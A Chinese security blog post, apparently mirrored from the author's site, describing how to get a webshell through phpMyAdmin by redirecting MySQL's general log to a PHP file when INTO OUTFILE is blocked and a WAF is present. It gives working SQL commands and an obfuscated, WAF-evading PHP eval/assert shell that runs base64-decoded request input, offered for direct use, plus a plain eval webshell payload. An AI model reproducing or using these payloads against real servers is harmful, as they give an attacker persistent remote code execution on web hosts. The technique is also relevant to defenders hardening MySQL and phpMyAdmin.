zoukankan      html  css  js  c++  java
  • phpmyadmin新姿势getshell

    旁白:在一个有WAF、并且mysql中的Into outfile禁用的情况下,我该如何getshell?

    作者:倾旋
    email:payloads@aliyun.com
    投稿联系:service@cora-lab.org

    原文地址:http://blog.cora-lab.org/287.html

    例外一篇:https://www.t00ls.net/thread-38892-1-1.html

    首先环境如下:

    • OS:Windows 2003
    • WAF:Safe Dog 4.0正式版
    • phpmyadmin:4.7(许多都可以)
    • Mysql:5.5+
    • PHP:5.3
    • Apache:2.x

    目前into outfile已经被禁用,并且WAF也会在写入文件的时候拦截。
    那么我们尝试通过一个脑洞大开的方法去getshell。
    (必须是mysql root权限)

    登录phpmyadmin后,查看全局变量:
    找到 general log file

    找到 general log file

    这里是存储了每一个sql语句执行的日志(包含SQL语句本身)

    但是general log变量必须是ON状态,代表启用。

    此时我们把general log开启为ON,然后再去更改general log file的地址为我们的webshell绝对路径。

    在每一次更改general log file的时候mysql都会判断日志文件是否存在,如果不存在则会自动创建。

    此时该文件已经创建,并且文件内容保存了最后一条SQL语句的日志信息。

    MySQLa, Version: 5.5.53 (MySQL Community Server (GPL)). started with:
    TCP Port: 3306, Named Pipe: MySQL
    Time Id Command Argument
    121 Query SHOW GLOBAL VARIABLES WHERE Variable_name="general_log_file"
    121 Quit

    接下来,我们直接随意查询SQL,每一句都会被写入这个shell.php

    由于有WAF,我们采用远程包含的形式来运行webshell。
    在我们的远程地址里,放置函数名,使服务器端访问它,然后加载到内存,直接去调用此函数,再去接收我们提交的php代码。

    关于菜刀免杀,请看上一篇文章。

    下面再附上一个SQL查询免杀shell的语句,方便大家遇到此类情况直接利用:

    SELECT "<?php $p = array('f'=>'a','pffff'=>'s','e'=>'fffff','lfaaaa'=>'r','nnnnn'=>'t');$a = array_keys($p);$_=$p['pffff'].$p['pffff'].$a[2];$_= 'a'.$_.'rt';$_(base64_decode($_REQUEST['username']));?>"

    可见这边并没有拦截:

    文章就到这里啦,这几天比较忙,都没有怎么更新,感谢大家一直以来的支持!

    set global general_log='on';
    SET global general_log_file='/var/wwwcmd.php';
    SELECT '<?php @eval($_POST[x]);?>';
  • 相关阅读:
    Lucene.net系列六 search 下
    Lucene.net 系列三 index 中
    初识Antlr
    Antlr首页计算机器实验成功
    C#语言学习之旅(1):C#基础
    NeatUpload js 判断上传文件的大小是否超过了空间的大小
    对XML的各种操作
    多表求和
    xmlhttp 最简单的无刷新
    xml 查询
  • 原文地址:https://www.cnblogs.com/hookjoy/p/6608188.html
Copyright © 2011-2022 走看看